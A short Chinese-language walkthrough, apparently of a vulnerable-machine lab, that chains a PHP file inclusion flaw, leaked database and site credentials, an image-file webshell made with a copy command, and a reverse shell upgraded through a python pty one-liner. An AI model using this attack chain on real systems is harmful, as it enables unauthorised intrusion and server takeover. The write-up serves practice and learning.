文件包含漏洞利用,使用GET传递参数失败,使用POST传参成功
包含网站文件,看看有没有什么敏感信息,发现包含c.php时,得到数据库用户名密码:billu:b0x_billu
mysqli_connect(host,username,password,dbname,port,socket);
使用数据库用户名密码登录phpmyadmin
发现网站的用户名密码:biLLu:hEx_it
登录网站发现添加用户功能点存在文件上传的地方
上传php文件,上传失败,只能上传图片文件
构造图片马,将图片马上传,上传成功
copy 1.jpg/b+shell.php/a shell.jpg
使用test.php文件包含漏洞包含图片马,包含失败,会直接读取该图片的内容
查看test.php的源码,发现test.php是使用readfile函数读取文件内容,并不能包含文件
查看网站其它文件代码,看看有没有利用的地方,发现存在continue参数的时候,load参数可以进行文件包含
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
构造代码,包含之前上传的图片马,反弹shell
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'